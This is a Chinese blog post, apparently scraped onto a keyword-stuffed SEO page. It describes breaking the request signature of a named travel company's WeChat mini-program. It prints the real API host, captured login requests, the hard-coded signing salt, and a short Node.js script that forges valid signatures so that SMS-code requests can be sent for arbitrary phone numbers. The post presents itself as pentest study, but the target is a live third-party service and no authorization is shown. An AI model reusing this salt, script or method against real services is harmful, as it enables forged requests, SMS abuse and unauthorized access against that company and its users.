当前位置: 首页 > news >正文

做的网站太大福州seo排名公司

做的网站太大,福州seo排名公司,确定网站的主题与风格,中国供应商网app下载之前看到了一篇文章 小程序绕过sign签名思路 之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程 并没有漏洞分享,仅仅是把小程序也分享出来,方便大家…

之前看到了一篇文章 小程序绕过sign签名思路 之前在做小程序渗透时也遇到了这种情况,但是直接放弃测试了,发现这种思路后,又遇到了这种情况,记录下过程

并没有漏洞分享,仅仅是把小程序也分享出来,方便大家测试学习。小程序 父母邦亲子旅行酒店营地乐园活动

在登录时验证码登录的数据包

POST /wxapp/login/send_messages?format=json HTTP/1.1
Host: api.fumubang.com
Content-Length: 118
Xweb_xhr: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819) XWEB/8555
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://servicewechat.com/wxef0aac3d44dcda51/214/page-frame.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"phone_num":"XXXXXXXX","version":"3.3.9","scene":1053,"appid":648481988,"sign":"85a840e3674201f2606b8b65f914b912"}

图片

 

我们直接修改手机号,重放数据包

图片

 

提示签名失败

打开对应的路径 C:\Users\1\Documents\WeChat Files\Applet

图片

 

将目录下所有文件全部删除 并重新打开小程序,此时生成的唯一文件夹,就是对应的该小程序的代码

图片

 

对小程序进行反编译

图片

 

因为有一些依赖于 wx 所以只能提供思路

图片

 

我们看到 sign 的创建流程

图片

 

所以只需要构造满足 i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); 就好啦

初期思路是这样子的

图片

 

但是因为存在 wx 的依赖,无法运行成功,但是加密是在本地处理的,这样构造应该是不对的

柳暗花明

我们加入调试

图片

 

发现第一个请求的数据包 /wxapp/index/get_kefu_phone 不需要登录就可以访问到这个界面,同时界面里也有 sign 参数

利用微信开发者工具进行模拟操作

加入断点

图片

 

继续步入

图片

 

可以添加字段 查看对应的值

继续步入

图片

 

该函数首先创建一个空数组 e,然后通过 Object.keys(r).sort() 获取对象 r 的所有键,并进行排序。遍历排序后的键数组,判断键值是否符合特定条件,并将满足条件的键值对拼接成字符串并存入数组 e 中。 最后得到的值是

scene=1001&version=5.0.6d19e4abd1036063faa4218c139378c0e

图片

 

返回值为 64d78d749828368851331593fa1e1ceb

图片

 

图片

 

就是对应字符串生成的 md5 的值

我们修改一下数据包

图片

 

发送成功

修改手机号的数据包

图片

 

图片

 

将手机号修改后 提示签名失败

phone_num=1xxxxxxxxx9&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
a90b19243e471d648d8eb5022d48066cphone_num=1xxxxxxxxx2&scene=1053&version=3.3.9d19e4abd1036063faa4218c139378c0e
85a840e3674201f2606b8b65f914b912

图片

所以我们把代码稍微修改一下

"use strict";
var a = require("./md5.js");
var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988}
i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e");
console.log(i);

图片

 

成功破解了 sign 签名,可以发送任意数据包

原创稿件征集

http://www.15wanjia.com/news/20236.html

相关文章:

  • 网站搜索优化公司seo咨询顾问
  • worldpress做网站成都网站制作关键词推广排名
  • 成都代办注册公司南昌seo外包公司
  • 烟台网站建设长沙公司网络营销推广
  • 石家庄站内换乘示意图最优化方法
  • 襄阳做网站多少钱seo引擎搜索网址
  • 政府网站信息内容建设实施意见网上推广方式
  • 百度做网站的特点企业网络推广的方法
  • 青岛网站制作网站哪个合肥seo好
  • 律师网站模版网站宣传和推广的方法有哪些
  • 东莞做公众号的网站nba季后赛最新排名
  • 手机版网站推荐常见的网络营销方式有哪几种
  • 安徽圣力建设集团网站百度推广步骤
  • 客户做百度推广后修改网站url需要哪些流程友情链接可以随便找链接加吗
  • iis怎么添加网站西安网站制作建设
  • 网站做下载页面java成品网站
  • 杭州企业标志设计优化绿松石什么意思
  • 吉林市网站制作哪家好百度地图推广怎么做的
  • 做逆战网站的名字吗网络培训心得体会总结
  • 广东知名网站建设深圳网络推广大师
  • 30个做设计的网站旅游网站网页设计
  • 网站内容优化方案太原seo
  • 网站文件上传完成后打开网站显示网站建设中怎么回事?宁波seo费用
  • 分析网站的关键词口碑营销成功案例
  • 做bbs网站教程百度搜索推广是什么
  • 网页设计与网站开发试题技术培训机构排名前十
  • 电子商城网站设计seo社区
  • 湖南定制响应式网站有哪些百度提升优化
  • 广东网站建设微信商城运营百度app官方正式版
  • 大淘客怎样做网站搜索引擎优化的主要工作有